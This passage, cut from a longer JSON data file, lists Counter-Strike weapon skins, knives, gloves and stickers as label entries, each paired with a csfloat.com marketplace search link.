            "url": "https://csfloat.com/search?market_hash_name=M4A4%20%7C%20Howl%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Gamma Doppler (Factory New) | Emerald",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Gamma%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Gamma Doppler (Factory New) | Emerald",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Gamma%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ M9 Bayonet | Gamma Doppler (Factory New) | Emerald",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20M9%20Bayonet%20%7C%20Gamma%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ M9 Bayonet | Gamma Doppler (Minimal Wear) | Emerald",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20M9%20Bayonet%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Field-Tested%29"
          },
          {
            "label": "★ Karambit | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Factory New) | Sapphire",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir AK-47 | The Empress (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20The%20Empress%20%28Battle-Scarred%29"
          },
          {
            "label": "★ StatTrak™ Stiletto Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Stiletto%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ M9 Bayonet | Gamma Doppler (Factory New) | Emerald",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20M9%20Bayonet%20%7C%20Gamma%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "AWP | Dragon Lore (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Dragon%20Lore%20%28Field-Tested%29"
          },
          {
            "label": "Souvenir AWP | Dragon Lore (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20Dragon%20Lore%20%28Field-Tested%29"
          },
          {
            "label": "AWP | Gungnir (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Gungnir%20%28Battle-Scarred%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Ultraviolet (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Ultraviolet%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir AK-47 | Case Hardened (Minimal Wear) | Tier 1",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir Galil AR | Sugar Rush (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Galil%20AR%20%7C%20Sugar%20Rush%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Skeleton Knife | Case Hardened (Minimal Wear) | Blue Gem",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Skeleton%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Minimal Wear) | Sapphire",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Sport Gloves | Vice (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Vice%20%28Factory%20New%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Well-Worn%29"
          },
          {
            "label": "★ StatTrak™ Bowie Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Bowie%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir AWP | Medusa (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20Medusa%20%28Minimal%20Wear%29"
          },
          {
            "label": "AWP | Dragon Lore (Well-Worn)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Dragon%20Lore%20%28Well-Worn%29"
          },
          {
            "label": "★ M9 Bayonet | Case Hardened (Minimal Wear) | Blue Gem",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20M9%20Bayonet%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Sapphire",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 1",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Battle-Scarred%29"
          },
          {
            "label": "Sticker | MIBR (Gold) | Cologne 2026",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20MIBR%20%28Gold%29%20%7C%20Cologne%202026"
          },
          {
            "label": "Sticker | woxic (Gold, Ranked) | Cologne 2026",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20woxic%20%28Gold%2C%20Ranked%29%20%7C%20Cologne%202026"
          },
          {
            "label": "Sticker | xiELO (Gold, Ranked) | Cologne 2026",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20xiELO%20%28Gold%2C%20Ranked%29%20%7C%20Cologne%202026"
          },
          {
            "label": "Sticker | vexite (Gold, Ranked) | Cologne 2026",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20vexite%20%28Gold%2C%20Ranked%29%20%7C%20Cologne%202026"
          },
          {
            "label": "Sticker | HEN1 (Gold, Ranked) | Cologne 2026",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20HEN1%20%28Gold%2C%20Ranked%29%20%7C%20Cologne%202026"
          },
          {
            "label": "Sticker | doc (Gold, Ranked) | Cologne 2026",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20doc%20%28Gold%2C%20Ranked%29%20%7C%20Cologne%202026"
          },
          {
            "label": "Sticker | saadzin (Gold, Ranked) | Cologne 2026",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20saadzin%20%28Gold%2C%20Ranked%29%20%7C%20Cologne%202026"
          },
          {
            "label": "Sticker | stressarN (Gold, Ranked) | Cologne 2026",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20stressarN%20%28Gold%2C%20Ranked%29%20%7C%20Cologne%202026"
          },
          {
            "label": "Sticker | NAF (Gold, Ranked) | Cologne 2026",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20NAF%20%28Gold%2C%20Ranked%29%20%7C%20Cologne%202026"
          },
          {
            "label": "★ Moto Gloves | Spearmint (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Moto%20Gloves%20%7C%20Spearmint%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Falchion Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Falchion%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir M4A4 | Howl (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A4%20%7C%20Howl%20%28Field-Tested%29"
          },
          {
            "label": "Souvenir M4A4 | Howl (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A4%20%7C%20Howl%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir AK-47 | Head Shot (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20Head%20Shot%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir G3SG1 | Orange Kimono (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20G3SG1%20%7C%20Orange%20Kimono%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir M249 | Impact Drill (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M249%20%7C%20Impact%20Drill%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | Reason Gaming | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Reason%20Gaming%20%7C%20Katowice%202014"
          },
          {
            "label": "★ StatTrak™ Classic Knife | Scorched (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Classic%20Knife%20%7C%20Scorched%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | Ninjas in Pyjamas (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Ninjas%20in%20Pyjamas%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "★ Sport Gloves | Pandora's Box (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Pandora%27s%20Box%20%28Minimal%20Wear%29"
          },
          {
            "label": "M4A4 | Howl (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=M4A4%20%7C%20Howl%20%28Minimal%20Wear%29"
          },
          {
            "label": "Sticker | mousesports (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20mousesports%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "★ StatTrak™ Karambit | Marble Fade (Factory New) | 1st",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Marble%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "AK-47 | Wild Lotus (Well-Worn)",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Wild%20Lotus%20%28Well-Worn%29"
          },
          {
            "label": "StatTrak™ AK-47 | Case Hardened (Field-Tested) | Tier 1",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20AK-47%20%7C%20Case%20Hardened%20%28Field-Tested%29"
          },
          {
            "label": "StatTrak™ AK-47 | Fire Serpent (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20AK-47%20%7C%20Fire%20Serpent%20%28Factory%20New%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 3",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Field-Tested%29"
          },
          {
            "label": "Souvenir AK-47 | Hydroponic (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20Hydroponic%20%28Factory%20New%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 3",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Well-Worn%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 6",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Sport Gloves | Ultra Violent (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Ultra%20Violent%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir M4A1-S | Party Animal (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A1-S%20%7C%20Party%20Animal%20%28Factory%20New%29"
          },
          {
            "label": "Sticker Slab | keshandr (Gold) | Krakow 2017",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20Slab%20%7C%20keshandr%20%28Gold%29%20%7C%20Krakow%202017"
          },
          {
            "label": "Sticker | Brollan (Gold, Ranked) | Cologne 2026",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Brollan%20%28Gold%2C%20Ranked%29%20%7C%20Cologne%202026"
          },
          {
            "label": "Sticker | LUCAS1 (Gold) | Boston 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20LUCAS1%20%28Gold%29%20%7C%20Boston%202018"
          },
          {
            "label": "★ StatTrak™ Karambit | Doppler (Factory New) | Sapphire",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir AK-47 | Wild Lotus (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20Wild%20Lotus%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Specialist Gloves | Pillow Punchers (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Pillow%20Punchers%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Case Hardened (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Case%20Hardened%20%28Factory%20New%29"
          },
          {
            "label": "★ Karambit | Marble Fade (Minimal Wear) | 1st",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Marble%20Fade%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir AWP | The Prince (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20The%20Prince%20%28Factory%20New%29"
          },
          {
            "label": "★ Skeleton Knife | Doppler (Minimal Wear) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Skeleton%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "Sticker | keshandr (Gold) | Krakow 2017",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20keshandr%20%28Gold%29%20%7C%20Krakow%202017"
          },
          {
            "label": "AWP | Dragon Lore (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Dragon%20Lore%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Specialist Gloves | Emerald Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Emerald%20Web%20%28Factory%20New%29"
          },
          {
            "label": "★ Karambit | Doppler (Factory New) | Sapphire",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Butterfly Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | Clan-Mystik (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Clan-Mystik%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "Souvenir AWP | Dragon Lore (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20Dragon%20Lore%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Karambit | Doppler (Minimal Wear) | Sapphire",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ M9 Bayonet | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20M9%20Bayonet%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "AWP | Medusa (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Medusa%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir Sawed-Off | Orange DDPAT (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Sawed-Off%20%7C%20Orange%20DDPAT%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 5",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Well-Worn%29"
          },
          {
            "label": "Sticker | s1mple (Gold) | Krakow 2017",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20s1mple%20%28Gold%29%20%7C%20Krakow%202017"
          },
          {
            "label": "Souvenir M4A4 | Howl (Well-Worn)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A4%20%7C%20Howl%20%28Well-Worn%29"
          },
          {
            "label": "Sticker | Virtus.Pro (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Virtus.Pro%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Night (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Night%20%28Factory%20New%29"
          },
          {
            "label": "★ M9 Bayonet | Doppler (Factory New) | Sapphire",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20M9%20Bayonet%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "M4A4 | Howl (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=M4A4%20%7C%20Howl%20%28Field-Tested%29"
          },
          {
            "label": "M4A4 | Howl (Well-Worn)",
            "url": "https://csfloat.com/search?market_hash_name=M4A4%20%7C%20Howl%20%28Well-Worn%29"
          },
          {
            "label": "Souvenir SCAR-20 | Splash Jam (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20SCAR-20%20%7C%20Splash%20Jam%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir Sawed-Off | Spirit Board (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Sawed-Off%20%7C%20Spirit%20Board%20%28Minimal%20Wear%29"
          },
          {
            "label": "StatTrak™ AK-47 | Case Hardened (Battle-Scarred) | Tier 1",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20AK-47%20%7C%20Case%20Hardened%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Factory New) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | LGB eSports (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20LGB%20eSports%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Minimal Wear) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "Sticker | iBUYPOWER | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20iBUYPOWER%20%7C%20Katowice%202014"
          },
          {
            "label": "M4A1-S | Knight (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=M4A1-S%20%7C%20Knight%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Sport Gloves | Hedge Maze (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Hedge%20Maze%20%28Field-Tested%29"
          },
          {
            "label": "AK-47 | Wild Lotus (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Wild%20Lotus%20%28Battle-Scarred%29"
          },
          {
            "label": "★ M9 Bayonet | Doppler (Minimal Wear) | Sapphire",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20M9%20Bayonet%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "AK-47 | Hydroponic (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Hydroponic%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ M9 Bayonet | Doppler (Factory New) | Sapphire",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20M9%20Bayonet%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "MP9 | Wild Lily (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=MP9%20%7C%20Wild%20Lily%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 4",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Field-Tested%29"
          },
          {
            "label": "M4A1-S | Imminent Danger (Well-Worn)",
            "url": "https://csfloat.com/search?market_hash_name=M4A1-S%20%7C%20Imminent%20Danger%20%28Well-Worn%29"
          },
          {
            "label": "★ Talon Knife | Case Hardened (Field-Tested) | Blue Gem",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Talon%20Knife%20%7C%20Case%20Hardened%20%28Field-Tested%29"
          },
          {
            "label": "Souvenir M4A4 | The Coalition (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A4%20%7C%20The%20Coalition%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 4",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Well-Worn%29"
          },
          {
            "label": "Sticker | 3DMAX (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%203DMAX%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "Souvenir Tec-9 | Perimeter (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Tec-9%20%7C%20Perimeter%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 5",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Field-Tested%29"
          },
          {
            "label": "Sticker | Titan | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Titan%20%7C%20Katowice%202014"
          },
          {
            "label": "★ Nomad Knife | Case Hardened (Battle-Scarred) | Blue Gem",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Nomad%20Knife%20%7C%20Case%20Hardened%20%28Battle-Scarred%29"
          },
          {
            "label": "StatTrak™ AK-47 | Case Hardened (Well-Worn) | Tier 1",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20AK-47%20%7C%20Case%20Hardened%20%28Well-Worn%29"
          },
          {
            "label": "AK-47 | Case Hardened (Factory New) | Tier 1",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Case%20Hardened%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Scorched (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Scorched%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Huntsman Knife | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Huntsman%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Sport Gloves | Pandora's Box (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Pandora%27s%20Box%20%28Field-Tested%29"
          },
          {
            "label": "AUG | Akihabara Accept (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=AUG%20%7C%20Akihabara%20Accept%20%28Factory%20New%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 6",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Field-Tested%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Gamma Doppler (Minimal Wear) | Phase 4",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Marble Fade (Factory New) | 8th",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Marble%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Navaja Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Navaja%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "★ Sport Gloves | Hedge Maze (Well-Worn)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Hedge%20Maze%20%28Well-Worn%29"
          },
          {
            "label": "Sticker | Grim (Gold, Ranked) | Cologne 2026",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Grim%20%28Gold%2C%20Ranked%29%20%7C%20Cologne%202026"
          },
          {
            "label": "★ StatTrak™ Karambit | Boreal Forest (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Boreal%20Forest%20%28Factory%20New%29"
          },
          {
            "label": "Negev | Mjölnir (Well-Worn)",
            "url": "https://csfloat.com/search?market_hash_name=Negev%20%7C%20Mj%C3%B6lnir%20%28Well-Worn%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Sport Gloves | Slingshot (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Slingshot%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir M4A1-S | Imminent Danger (Well-Worn)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A1-S%20%7C%20Imminent%20Danger%20%28Well-Worn%29"
          },
          {
            "label": "Souvenir M4A4 | Modern Hunter (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A4%20%7C%20Modern%20Hunter%20%28Field-Tested%29"
          },
          {
            "label": "Sticker | mzinho (Gold, Ranked) | Cologne 2026",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20mzinho%20%28Gold%2C%20Ranked%29%20%7C%20Cologne%202026"
          },
          {
            "label": "★ StatTrak™ Stiletto Knife | Urban Masked (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Stiletto%20Knife%20%7C%20Urban%20Masked%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | BnTeT (Gold) | Boston 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20BnTeT%20%28Gold%29%20%7C%20Boston%202018"
          },
          {
            "label": "Souvenir AWP | BOOM (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20BOOM%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir FAMAS | Neural Net (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20FAMAS%20%7C%20Neural%20Net%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir USP-S | Black Lotus (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20USP-S%20%7C%20Black%20Lotus%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ M9 Bayonet | Gamma Doppler (Minimal Wear) | Phase 4",
